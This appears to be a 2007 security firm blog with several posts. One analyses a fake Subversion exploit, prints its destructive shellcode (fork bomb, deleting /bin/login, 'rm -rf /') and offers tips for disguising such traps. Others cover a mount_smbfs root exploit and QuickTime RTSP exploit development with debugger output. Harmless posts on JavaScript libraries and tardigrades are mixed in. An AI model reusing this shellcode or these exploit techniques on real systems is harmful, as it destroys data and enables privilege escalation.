Yesterday, a message surfaced in full-disclosure, the mostly always funny and chaotic unmoderated security-related list (although the nature of the list these days is ambiguous, it remains as a free alternative to commercially sponsored and more supervised alternatives). It was a supposedly accidental release to the public eye of a remote Subversion exploit (which already seems enough dubious):
/* * This exploits a wierd state condition in Subversion < = 1.4.4. * When the incoming connection stack is filled via many incoming * syns in concurance with shifting the rev_ptr struct over a * variable gap of memory a boundary condition occurs which corrupts * a func ptr to point several bytes backwards. A call is forced * through "checkout-latest-rev" with our shellcode in place. * * This Vuln is NOT public, do NOT release this code or any * information pertaining to this bug. * * Author: onionring */
Behind a serious sounding description, there's really nothing technically valid. It's just "mumbo jumbo" to make it apparently legitimate to any potential user of the exploit (in this case, more than one security guy has probably attempted to use it).
We have a seemingly normal IA32 shellcode (except for the hardcoded NOP sled which is not so stylish):
char sc[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" ... "\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80" "\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80" "\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42" "\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31" "\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F" "\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F" "\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72" "\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2" "\x04\x0B\xCD\x80";
Let's take a look over the disassembly and strings. We notice a call to the signal() system call:
From include/asm-i386/unistd.h #define __NR_signal 48 From include/asm-generic/signal.h /* ignore signal */ #define SIG_IGN ((__force __sighandler_t)1) From include/asm-i386/signal.h #define SIGHUP 1 00000030 31C0 xor eax,eax 00000032 89C3 mov ebx,eax 00000034 89C1 mov ecx,eax 00000036 41 inc ecx 00000037 B030 mov al,0x30 00000039 CD80 int 0x80
Later it issues a fork() call and, as
a reply in full-disclosure
thread, seems to be part of a typical fork() bomb procedure.
That's rather uninteresting anyway, except for the fact that its intention is likely to render the machine unusable while the real harmful (or fun, depending if you are watching someone run it, or you are running it yourself in an unprotected environment ;) ) part is executed.
0000006F 31C0 xor eax,eax 00000071 50 push eax 00000072 686F67696E push dword 0x6e69676f 00000077 68696E2F6C push dword 0x6c2f6e69 0000007C 682F2F2F62 push dword 0x622f2f2f 00000081 89E3 mov ebx,esp 00000083 31C0 xor eax,eax 00000085 040A add al,0xa 00000087 CD80 int 0x80
There you go. This annoyance is nothing but an unlink() call to remove
the /bin/login file. The situation is aggravated by the fact that the
fake exploit, using raw sockets as excuse, requires root privileges to run:
if (getuid() != 0) {
fprintf(stderr, "[E] Need root privs for raw sockets\n");
exit(1);
}
And finally the mandatory execve() of /bin/rm -rf /, which is typical in these cases.
00000089 31C0 xor eax,eax 0000008B 50 push eax 0000008C 682A2F2F2F push dword 0x2f2f2f2a 00000091 89E2 mov edx,esp 00000093 50 push eax 00000094 682D726666 push dword 0x6666722d 00000099 89E1 mov ecx,esp 0000009B 50 push eax 0000009C 686E2F726D push dword 0x6d722f6e 000000A1 682F2F6269 push dword 0x69622f2f 000000A6 89E3 mov ebx,esp 000000A8 50 push eax 000000A9 52 push edx 000000AA 51 push ecx 000000AB 53 push ebx 000000AC 89E1 mov ecx,esp 000000AE 31D2 xor edx,edx 000000B0 040B add al,0xb 000000B2 CD80 int 0x80
You can use the watson.org LXR installation for
looking up
system call numbers, and other constants. The disassembly is clear and easy
to interpret, it shouldn't be a problem to understand what's going on.
Why are fake exploits necessary? They usually catch script kiddies
and other annoying people, and the technically skilled guys won't bother running
them without inspection (there are exceptions, though :) ). They serve as great
jokes, even if some can cause significant damage to the system (unless you run
them inside a hardened chroot environment, with a solid patch like
grsecurity that prevents several techniques
to break out of the chroot).
How to make them more subtle and reliable? Some simple tips:
strings against your
exploit in compiled form.
signal handler.mprotect() is your friend. Make it subtle, though.There have been more elaborated fake exploits released to the public and distributed through legitimate FTP servers. One of them was wu261.c, in 2001.
>Hey, I'm told that this exploit like eats your hard drive or something. >Caveat emptor and all, but I figured since I actually heard about this, >I'd let you know. I guess it's a spoofed note. > BB
Side note: Michal Zalewski (lcamtuf, working now for Google) released back in 2004 a tool to aid in detection of fake exploits, known as "fakebust".
Who doesn't remember those old root setuid binaries with argument
parsing stack buffer overflows, the days when sudo had
trivially exploitable vulnerabilities and system administrators panicked at
the sight of any setuid binary after a some advisory showed up on BUGTRAQ. Apple
had its share of bad luck with
one of the
latest Security Updates for Mac OS X. But it's 2007, approaching 2008
already, not 1997!
Apparently, a regression was introduced into Tiger via one of
the updates (in previous audits we didn't find this binary to be affected by
this vulnerability), and made the mount_smbfs root-setuid binary
vulnerable to a trivially exploitable stack-based buffer overflow, which allows
(root) privilege escalation for any user on the system.
The condition triggers when an overly long string is passed as parameter to the
-W (workgroup name) option. Depending on how many registers you
require, the padding size is approximately 1040+16 bytes for x86,
to overwrite eip.
One of the requirements to abuse this issue properly is doing a
setuid(0) call, in order to make the root privileges effective.
There are different possibilities to successfully exploit this issue:
eax, return to setuid(), with saved
eip pointing at system() and argument set to shell of
choice (ie. use the SHELL environment variable value).malloc(). MALLOC_LARGE section... it could be in Unicode format.Apple definitely needs to deploy some sort of Secure Development Lifecycle. Not because it was popularized by Microsoft, not because we want a cheap shot at Apple, but because it simply works. And we don't agree with some security practices at Microsoft as well (namely the ASLR of Vista; while it's more solid than Leopard's, it's still not enough for many real world scenarios — for in-depth documentation on the ASLR concept, read its PaX project documentation).
Don't call it SDL. Make it the “Apple Secure Development iLifecycle”. But please, security updates also need to be tested against a regression test suite! iWorks 2008 is neat but we don't like vulnerable root-setuid binaries.
We are happy to announce the availability of a 100% reliable exploit against CVE-2007-3876, the
mount_smbfs argument stack-based buffer overflow. Using the
shared_region_map_file_np() system call, we map a file containing
shellcode at a fixed location, with write, read and execute permissions
(VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE).
This technique was first documented publicly in a Phrack article by nemo, and has been partially restricted in Leopard. On an unpatched Mac OS X 10.4 installation (only without the update fixing this problem) it will allow any user to gain root privileges.
$ ./mount_smbfs_root Mac OS X 10.4.10, 10.4.11 mount_smbfs Local Root exploit Copyright (c) 2007-2008 Subreption LLC. All rights reserved. Mapping shellcode from file via shared_region_map_file_np()... Shellcode mapped: mapping starts at 0x9ffff000, shellcode at 9fffff71 Payload size: 1064 (1040 padding bytes), Return address: 0x9fffff71 mount_smbfs: workgroup name 'AAAA...' malcomx:/Users/nonpriv root# id uid=0(root) gid=501(nonpriv) groups=501(nonpriv), 81(appserveradm), 79(appserverusr), 80(admin) malcomx:/Users/nonpriv root# exit exit
It is available at our corporate public repository, as well as the Milw0rm website.
Starting January 2008, our focus will be set on the development and polishing of a commercial exploit code and penetration-testing toolset, comprising several reliable exploits and tools to aid security professionals in penetration-tests, IDS and HIPS developers, as well as serving as an educational resource on exploit techniques, IDS evasion and general information security for the Mac OS X, Solaris, Linux and Microsoft Windows platforms, from a strictly technical perspective.
After taking a look over the Mac OS X firewall (which has been criticized by several people already), we've detected several weaknesses (which could be considered design flaws, although abusing them is technically feasible and uncomplicated):
We are working towards developing a proof of concept demonstrating these issues (and other nice tricks) in technical detail; until that happens, stay tuned.
Every now and then, the news talk about some Open Source software package that has been compromised (as in backdoored: tampered to include code or functionality that opens its users to abuse from third-parties). A few days ago it was SquirrelMail, in March it was the massively extended Wordpress blogging software.
In 2003, the Linux kernel itself experienced a
compromise that resulted in a very subtle, discreet
backdoor added to the source code of the sys_wait4() function,
which allowed privilege escalation to gain root level access. Debian, GNU Project and Gentoo servers
and distribution sites have been targets of successful attacks, and the CVS
project server was attacked in 2004. Recently, Ubuntu community-hosted
servers were compromised as well.
In 2002, IRSSI (the IRC client) and several network security tools hosted at Monkey.org were modified to contain backdoors that activated during compilation time.
All your base are belong to us.Some languages are more prone to be subtly manipulated for implementing hostile functionality: C conditional statements and variable assignment, incorrect use of operators... in PHP we have the
preg_replace function and other
possibilities. Also some object oriented languages allow class methods and
functions to be intercepted easily, like Objective-C.
In the Linux kernel case, it could have been well identified as a typo. The fact that there are sophisticated attackers out there, who inspect and dive into the target before making the definitive move, is certainly not a common threat. In the words of the BitMover founder, Larry McVoy (in an article for SecurityFocus):
Whoever did this knew what they were doing. They had to find some flags that could be passed to the system without causing an error, and yet are not normally passed together... There isn't any way that somebody could casually come in, not know about UNIX, not know the Linux kernel code, and make this change. Not a chance.
The security industry itself is normally driven by trends, and nowadays the trend is about defacements, unsophisticated attacks and propaganda tools. The real threats aren't botnets or Brazilian defacement script-kiddies.
One of the main disadvantages that affect open source projects, is the fact that their development resources are far more exposed than those of proprietary vendors. It's easy to audit the software powering their version controlled repository, their issue and bug tracking application, their mail server daemon (hopefully it's Qmail!), etc. While closed source applications are also exposed in other manners, an open source project depends entirely on an open development model which has its own (security) weaknesses.
There's no real way to enforce legal obligations and rights for each developer (the insider threat: a rogue developer adding a backdoor himself), without making agreements and other paperwork effective.
We won't spoil the surprise about the name of the project, yet. :)
Layout and a Renderer that generates and inserts the chart in to the page content (using MochiKit), with a simplistic approach for introducing data-sets.
function drawGraph() {
var layout = new PlotKit.Layout("bar", {});
layout.addDataset("sqrt", [[0, 0], [1, 1], [2, 1.414], [3, 1.73], [4, 2]]);
layout.evaluate();
var canvas = MochiKit.DOM.getElement("graph");
var plotter = new PlotKit.SweetCanvasRenderer(canvas, layout, {});
plotter.render();
}
MochiKit.DOM.addLoadEvent(drawGraph);
The main disadvantage is that SVG and HTML CANVAS support have certain compatibility issues across different browsers and many still need to mature their support for such functionality. This leaves a huge surface of potential interoperability problems which might be a serious show-stopper when deploying PlotKit.
PlotArea). The data-set can be bound to a Store object (similar to the DataSource object of the YUI library), plus it supports all browsers except WebKit powered ones (those pesky Safari users! :) ). Some data analysis methods have been implemented too...
The usage is easy and documentation is very complete (something common with Dojo, probably due to its user base and support from several sponsors):
dojo.require("dojox.charting.widget.Chart2D");
dojo.require("dojox.charting.themes.PlotKit.orange");
dojo.require("dojox.charting.themes.PlotKit.blue");
dojo.require("dojox.charting.themes.PlotKit.green");
dojo.require("dojox.data.HtmlTableStore");
seriesB = [2.6, 1.8, 2, 1, 1.4, 0.7, 2];
dojo.require("dojo.parser"); // scan page for widgets and instantiate them
Note how HtmlTableStore is used and the Parser component. Within the HTML source:
<div dojoType="dojox.data.HtmlTableStore" tableId="tableExample" jsId="tableStore"></div> <table id="tableExample" style="display: none;"> <thead> <tr><th>value</th></tr> </thead> <tbody> <tr><td>6.3</td></tr> <tr><td>1.8</td></tr>If there's something we appreciate from Dojo, it's the flexibility we enjoy from using it. You can certainly keep Dojo in mind for your charting (and several other UI) related needs. Regarding Internet Explorer support, as far as we know, several libraries make use of emulation for setting up HTML CANVAS support through VML.
Charts control with a nice API. The best thing about it: polling data from a DataSource object is supported.
That means dynamic charts, easy interoperability and good performance. Rendering the charts is a piece of cake:
var mychart = new YAHOO.widget.LineChart( "chart", myDataSource,
{
xField: "month",
series: seriesDef,
yAxis: currencyAxis,
dataTipFunction: "getDataTipText"
});
YUI continues to impress us everyday. Since it uses Flash for rendering the charts, any browser with the Flash Player plugin will be able to render them. Also, the Flash charts can contain interactive labels and other useful details. This is clearly a winner in our books (and Dojo is always noteworthy too, but we can't afford using two toolkits since load times will skyrocket).
We've been coming across different annoyances in our quest of deploying YUI into one of our main products (a few more articles talking about its development coming soon), the Ruby on Rails content management system behind our almost-ready customer portal and corporate site. The problem comes mainly from the coexistence of our custom CSS and JavaScript code, and the YUI specific style-sheets and library files.
TabView control is rendering the tabs with an incorrect height:
possibly caused by style conflicts, but we have confirmed this is not the case
(at least our CSS is consistent and not conflicting with YUI).Editor component is unable to adjust its size to a sensible
default (in other words: it seems unable to match approximately the
old size of the barebones textarea element).YUILoader is not liking our layout and failed to expose the
YAHOO.widget objects properly. Thus we couldn't make any real
use of it without resorting to Event driven functions and slow
transitions (as unpleasing as watching a textarea transform into
the Editor UI in “real time” :( ).The problems are really bugging us and we have considered moving to fully custom code, even if that means delaying the development of some other features that might be of higher priority. Hopefully we will solve the issues soon and keep YUI in place, since the functionality is really complete.
Yahoo! released yesterday a new version of the feature-rich, BSD licensed YUI (the Yahoo! User Interface library) implementing several improvements, some new controls and other innovative functionality. The components that quickly turned heads over here, are namely:
Their change-log contains a complete overview of the fixes and the new features. We are integrating this new release for the (Ruby on Rails powered) content management system engine we have developed for our corporate site, and recommend YUI for any serious web developer seeking a library providing solid controls and functionality. Besides, it comes with no strings attached.
896 /* load_machfile() maps the vnode */ 897 (void)ubc_map(imgp->ip_vp, PROT_READ | PROT_EXEC);
538 #ifdef notyet 539 /* Hmm .. */ 540 #if defined(VM_PROT_READ_IS_EXEC) 541 if (prot & VM_PROT_READ) 542 prot |= VM_PROT_EXECUTE; 543 if (maxprot & VM_PROT_READ) 544 maxprot |= VM_PROT_EXECUTE; 545 #endif 546 #endif /* notyet */ 547 548 #if 3777787 549 if (prot & (VM_PROT_EXECUTE | VM_PROT_WRITE)) 550 prot |= VM_PROT_READ; 551 if (maxprot & (VM_PROT_EXECUTE | VM_PROT_WRITE)) 552 maxprot |= VM_PROT_READ; 553 #endif /* radar 3777787 */Pay attention to the
VM_PROT_EXECUTE flag. Let's get back to the exploit development: we have reliable EIP control and we can most probably make use of return to libSystem (good old ret2libc) or jump into heap. But Leopard randomizes some library addresses... Let's see how the process memory layout looks like for Quicktime:
(gdb) shell vmmap 18909 | grep MALLOC MALLOC (freed?) 00122000-00123000 [ 4K] rw-/rwx SM=COW MALLOC_LARGE 00124000-0012a000 [ 24K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 0012d000-0012e000 [ 4K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 00135000-0013e000 [ 36K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_TINY 00200000-00300000 [ 1024K] rw-/rwx SM=COW DefaultMallocZone_0x200000 MALLOC_LARGE 003bf000-003ca000 [ 44K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 003f9000-00401000 [ 32K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 00405000-00406000 [ 4K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 0042f000-00459000 [ 168K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 007ee000-007f7000 [ 36K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_SMALL 00800000-01000000 [ 8192K] rw-/rwx SM=COW DefaultMallocZone_0x200000 MALLOC_LARGE 1450f000-14517000 [ 32K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_TINY 14900000-14a00000 [ 1024K] rw-/rwx SM=COW DefaultMallocZone_0x200000 MALLOC_LARGE 15d1d000-15d27000 [ 40K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC [ 10.4M]The Mac OS X implementation of
malloc() has been explained extensively in one of the issues of the Phrack magazine. It's out of the scope of this article to explain its design, but it's worth mentioning how heap tricks can help to find a more stable location for our shellcode.
Quicktime makes extensive use of dynamically allocated memory, like most multimedia applications. Again, read the permission flags associated to each memory region: they seem to be rather permissive...
Our response is likely stored or replicated in heap space, and that's where we should start looking for a reliable return address or point to jump at our shellcode. A reliable exploit must always try to:
The dyld stub binding helper is a glue function that assists the dynamic linker in lazily binding an external function. When the compiler sees a call to an external function, it generates a symbol stub and a lazy pointer for the function. At the call site, the compiler generates a call to the symbol stub. The symbol stub is a sequence of code that loads the lazy pointer and jumps to it.
Some examples of stubs, found for Quicktime in a clean, up-to-date installation of Leopard:
0xa0a36c07 <dyld_stub_system>: jmp 0x91bbf3a4 <system> 0xa0a36c0c <dyld_stub_time>: jmp 0x91b5f7cf <time> 0xa0a36c11 <dyld_stub_timegm>: jmp 0x91b97f84 <timegm> 0xa0a36c16 <dyld_stub_tzset>: jmp 0x91b723ea <tzset> 0xa0a36c1b <dyld_stub_usleep>: jmp 0x91ba9942 <usleep> 0xa0a42037 <dyld_stub_mprotect>: jmp 0x91bb02bf <mprotect>Basically when one of the stubs gets called, it jumps to the right location of the specific external function. Arguments and any other variables will be processed there. For our purposes, this is a similar technique to the classical return-to-libc. With a hop in-between.
The stub is simply a placeholder.Let's see what happens when we use the address of the
exit() dyld stub (dyld_stub_exit) as our return address:
gdb) x/x dyld_stub_exit 0xa0a7e44a <dyld_stub_exit>: 0x0dc3e0e9The correct target information for the
exit() stub (at 0xa0a7e44a):
"7.3-Mac 10.5.1-IA32" => {
:ret_address => 0xa0a7e44a,
:padding_size => 291,
:prepend_data => (
[0x11223344].pack("V") + # ebx
[0xbabebeef].pack("V") + # esi
[0x31337666].pack("V") + # edi
[0xdefacedd].pack("V") # ebp
),
The exploit listens for connections, and sends the payload once a vulnerable client connects:
qtimertsp_redux.rb: Return address: 0xa0a7e44a, shellcode: 10 bytes. qtimertsp_redux.rb: Payload: 315 bytes (padding=gggggg...=0x67)Quicktime process exits cleanly!
Reading symbols for shared libraries + done Program exited with code 0163. (gdb)Obviously, exiting the process isn't useful. Not until we have done something more productive with the execution flow... and we need a flexible way to execute our shellcode or a command of our choice. We have some possibilities:
mprotect() to make the stack executable and then jump on the shellcode there.system() to execute commands. This is limited to the software available locally, therefore we should try to download some binary with curl and then execute it.system(). We are instead using the dyld stubs that in some cases remain stable (later on, they will change when a new dyld cache is built, this is documented):
When the cache is built, the addresses of the dylibs are intentionally randomized, thus when debugging you may notice that the address of OS routines like malloc is different on every machine.That means, unlike for Tiger, Leopard payloads will either work on a specific installation or only in clean, recently installed systems (we are still investigating the extent of the ASLR functionality). We observed that two different installations of Leopard (thanks to Kevin Finisterre for testing it as well) had the same stub addresses once, during the early stages of development (we haven't been able to reproduce this again). After updating our code and searching the process memory for potential static addresses to place our command string or use an existent one, we found the ever handy
/bin/bash (which in this case, serves as simple demonstration):
Starting program: /Applications/QuickTime Player.app/Contents/MacOS/QuickTime Player Reading symbols for shared libraries . done 2007-11-26 02:53:25.858 QuickTime Player[21161:813] .scriptSuite warning for argument 'UsingDescriptors' of command 'SaveReferenceMovie' in suite 'QTPSuite': 'list' is not a valid type name. bash-3.2$ exit exit Breakpoint 1, 0xa0a7e44a in dyld_stub_exit ()And the code behind the magic: first the return address pointing to the
system() dyld stub, then the address to the exit() stub and finally the address to the command string for system().
[0xa0a7e44a].pack("V") + # saved eip -> dyld_stub_exit
[0xbffffaa3].pack("V") # stable address to /bin/bash
Now, we are trying to use our own command string: it's time to look for a stable location (the following addresses might differ from that of the publicly released exploit):
1: 0087871D 0087C31D 008B719F BFFFD1B3 2: 0088CF1D 0088DD1D 0089599F BFFFD1B3 3: 0087871D 0087C31D 008B719F BFFFD1B3 4: 0089ED1D 008BEF1D 008C599F BFFFD1B3We have a problem: the addresses change in a manner that is not suitable for our particular technique. Why? Because we don't have the possibility of using a useful NOP sled.
We need an exact address for our command.And NULL bytes are also problematic. There's one specific address that didn't change there, and doesn't contain filtered characters; after using it, we realized it wasn't stable enough for different environments. This illustrates so far the process of developing an exploit using the return to dyld stub technique. Finding a reliable address for our string will most likely be the only difficulty in the process. Some tips:
/bin/bash string), take advantage of it!A process cannot be understood by stopping it. Understanding must move with the flow of the process, must join it and flow with it. Dune (1965) by Frank Herbert
Any path that narrows future possibilities may become a lethal trap. Children of Dune (1976) by Frank Herbert
While we wouldn't release exploit code under normal circumstances, we are pretty much emerging and wanted to show an example of our work. Since this vulnerability was already public, and the Apple security people are most probably working on an imminent update to Quicktime, potential attackers have a limited time-span to abuse it.
Hopefully Apple will speed up on this one and release an update to fix the vulnerability. We enjoy the versatility of Mac OS X on daily basis, and want it to be as more secure as possible.
Thanks to Kevin Finisterre for the testing environment and proofing of the exploit on PowerPC. Thanks to HD Moore for suggestions and the Metasploit project.
The exploit code is available at:
static.subreption.com/public/exploits/qtimertsp_redux.rb
Some improvements that might be released:
Some screenshots might illustrate the functionality included in the exploit a bit better:

Finally it worked, thanks to the target information from MC in his Metasploit module.
A new vulnerability has been published for Apple's Quicktime software. It definitely looks like an easy one: a classic stack-based buffer overflow. We started testing the original proof of concept against Mac OS X 10.5.1 (9B18) (that's Leopard!)...
Exception Type: EXC_BAD_ACCESS (SIGSEGV) Exception Codes: KERN_INVALID_ADDRESS at 0x000000004141416b Crashed Thread: 0It's possibly embarrassing for a high profile application to have this kind of issues (it's 2007 already, approaching 2008...), but they are found everywhere. Apple is really trying to make advances in security matters, even if they didn't manage to implement some of them properly for Leopard.

Thread 0 crashed with X86 Thread State (32-bit): eax: 0x41414141 ebx: 0x166a36f0 ecx: 0x00000000 edx: 0x00000041 edi: 0xbfffd308 esi: 0x6875683f ebp: 0xbfffd438 esp: 0xbfffd180 ss: 0x0000001f efl: 0x00010207 eip: 0x166a41c5 cs: 0x00000017 ds: 0x0000001f es: 0x0000001f fs: 0x00000000 gs: 0x00000037 cr2: 0x4141416bNowadays, it's a common practice to release rather incomplete and non-reliable exploits or so-called “proof of concept” code (although, people out there don't agree on naming conventions; an exploit is not a proof of concept, if it's really reliable). They are usually coded in Python (we don't really know what's so great about it as a language for exploit development, Ruby is possibly much more flexible and efficient for such purposes), have poor indentation and code style, use publicly available shellcode and repetitive techniques, and last but not least, they are poorly automated. Releasing a proof of concept nowadays is generally a matter of getting those nifty 15 minutes of fame. Then it vanishes... With the initial exploit we developed, we can reliably fingerprint the remote Quicktime version, the architecture and Mac OS X version (this can be extracted from the
User-Agent of the request, for example: QuickTime/7.3 (qtver=7.3;cpu=IA32;os=Mac 10.5.1)). The exploit decides what payload and its related information will be used:
qtimertsp_redux.rb: Listening on 0.0.0.0:554 qtimertsp_redux.rb: Connection from localhost (127.0.0.1:59238) qtimertsp_redux.rb: Request from Quicktime: 7.3 on Mac 10.5.1 IA32 qtimertsp_redux.rb: Building payload for '7.3-Mac 10.5.1-IA32'... qtimertsp_redux.rb: Return address: 0xdeadbeef, shellcode: 10 bytes. qtimertsp_redux.rb: Payload: 315 bytes (padding=oooooo...=0x6f) qtimertsp_redux.rb: Sent 748 bytes...
Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeef 0xdeadbeef in ?? () (gdb) back #0 0xdeadbeef in ?? () #1 0x645a4145 in ?? () Cannot access memory at address 0xdeadbef
qtver = request.scan(/User-Agent: QuickTime\/(.+?) \(qtver=(.+?);cpu=(.+?);os=(.+?)\)\r\n/).flatten
target = Hash.new
target[:version] = qtver[0]
target[:arch] = qtver[2]
target[:os] = qtver[3]
The status of registers is as follows:
eax 0xffffeae6 -5402 ecx 0x5 5 edx 0x0 0 ebx 0x11223344 287454020 esp 0xbfffd210 0xbfffd210 ebp 0xdefacedd 0xdefacedd esi 0xbabebeef -1161904401 edi 0x31337666 825456230 eip 0xdeadbeef 0xdeadbeefNote the clear control over EBP, EBX, ESI, EDI and obviously EIP itself. In order to bypass Address Space Layout Randomization (ASLR) and non-executable stack altogether, influencing as many registers as possible is a required condition. We can't just jump into our shellcode if it's located at the stack, since it will trigger an exception and the exploit will fail. This would also happen in Tiger.
Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_PROTECTION_FAILURE at address: 0xbfffd1f2 0xbfffd1f2 in ?? () (gdb) shell sudo dmesg | grep execution Data/Stack execution not permitted: QuickTime Player[pid 19621] at virtual address 0xbfffd000, protections were read-write
(gdb) x/4i 0xbfffd1f2 0xbfffd1f2: int3 0xbfffd1f3: int3 0xbfffd1f4: int3 0xbfffd1f5: int3
__TEXT 91b32000-91c8d000 [ 1388K] r-x/r-x SM=COW /usr/lib/libSystem.B.dylib __TEXT 91939000-91a19000 [ 896K] r-x/r-x SM=COW /usr/lib/libobjc.A.dylib __TEXT 8fe00000-8fe2e000 [ 184K] r-x/rwx SM=COW /usr/lib/dyld __TEXT 00001000-000e6000 [ 916K] r-x/rwx SM=COW /Applications/QuickTime Player.app/Contents/MacOS/QuickTime Player __TEXT 95f40000-9673b000 [ 8172K] r-x/r-x SM=COW /System/Library/Frameworks/AppKit.framework/Versions/C/AppKitUnfortunately, Mac OS X lacks of several measures that would make exploitation less feasible:
mmap() base is not randomized.
PROT_READ implies PROT_EXEC.
malloc() is executable.mprotect(). Once the stack is made executable again, there's little you can do to prevent execution from continuing there.libSystem might be more difficult now due to ASLR, but still possible.
Without making a funny analogy between truly solid HIPS solutions and those tough organisms called extremophiles, today's entry isn't really technical per-se. Sometimes it's good to take a look over something else.

The Tardigrades (aka “water bears”) can be classified as arthropods (like insects, arachnids...) because of their segmented body. They are known because of being extremely resistant to a wide range of normally lethal conditions, namely: extreme temperatures, radiation, dehydration and extreme pressures. One of their impressive treats is their ability to lower the metabolism exponentially, and preserving themselves over long time with no water.
This is known as “cryptobiosis”; when the environment becomes hospitable again, the organism reverses back to its normal metabolic state and effectively comes back to life. Imagine an animal that has been standing still for over a decade, after post-apocalyptic events that no other species have been able to overcome, and finds its way back to a devastated world. How does it feel to be the toughest animal on Earth?
Let's see a few of the conditions that these little animals can resist:
Research of these life forms could lead to advances in treatment of certain diseases. It's simply amazing how resistant these little animals are.
Hopefully a HIPS half as tough as a tardigrade could bring some light to the rather depressing world of so-called security software!
One of the most important features of our content management system is its usability and careful design. We faced a complicated issue with forms: it's not that uncommon to use tables for a fluid layout, easy to customize using CSS. The typical table-less solution involves using floating labels to the left, with fixed width, and input fields to the right. We've seen designs where a help text could be neatly displayed right next to the input, using tables.
Always perform server-side validation and don't require JavaScript in forms!
This allows support in possibly every web browser out there, without compatibility
issues. The code looks clean too.Another feature that boosts the usability of forms
is live data input validation. For security reasons, you should never rely on
client-side validation, but it comes as an extremely useful aid for showing the
user if there's anything wrongly formatted that requires fixing, before wasting
time submitting the form.
We came across LiveValidation (quite an appropriate name), a neat Prototype-compatible JavaScript library for automating data validation. It's free ( MIT license, for personal and commercial projects) and compatible with every major browser we've tested.
LiveValidation is a small open source javascript library built for giving users real-time validation information as they fill out forms. Not only that, but it serves as a sophisticated validation library for any validations you need to make elsewhere in your javascript, it is not just limited to form fields
var fullName = new LiveValidation('contact_full_name', {validMessage:"OK"});
var companyName = new LiveValidation('contact_company', {validMessage:"Thank you!"});
var emailAddress = new LiveValidation('contact_email', {validMessage:"OK"});
var theReferrer = new LiveValidation('contact_referrer', {validMessage:"Thank you!"});
var theWebsite = new LiveValidation('contact_website', {validMessage:"Thank you!"});
var phoneNumber = new LiveValidation('contact_phone', {validMessage:"Thank you!"});fullName.add(Validate.Presence);
validateName(fullName);
validateName(companyName);
validateEmail(emailAddress);
validatePhone(phoneNumber);
validateUri(theWebsite);
You will notice the presence of some functions that don't come from LiveValidation. Those are some wrappers that we have included in our JavaScript code for avoiding code bloat. We needed validation of URI input and phone numbers:
var RegexpURI = /((www|http)(\W+\S+[^).,:;?\]\} \r\n$]+))/i;
var RegexpPhone = /(\+)?([-\._\(\) ]?[\d]{3,20}[-\._\(\) ]?){2,10}/;(...)
function validateEmail(e) {
e.add(Validate.Presence);
e.add(Validate.Email);
}
function validateUri(uri) {
uri.add(Validate.Format, { pattern: RegexpURI,
failureMessage: "Must be a valid URI!"
});
}
function validatePhone(phone) {
phone.add(Validate.Format, { pattern: RegexpPhone,
failureMessage: "Must be a valid phone number (ex. +123-45678-908)!"
});
}
Nice? Check out the documentation and download the library.
Finally we decided that Mephisto wasn't yet the right solution for us, and until we have time to develop a proper blog engine in place, we are going to keep this going. We are damn busy at the moment, hence why our time for blogging is really limited. But we'll try to keep interesting news around, stay tuned :-).
We are sorry about the not-so impressive looking current design, but this is being worked on behind the scenes.
Subreption blog by Subreption LLC is Licensed under a
Creative Commons Attribution-Noncommercial-No Derivative Works 3.0
United States License.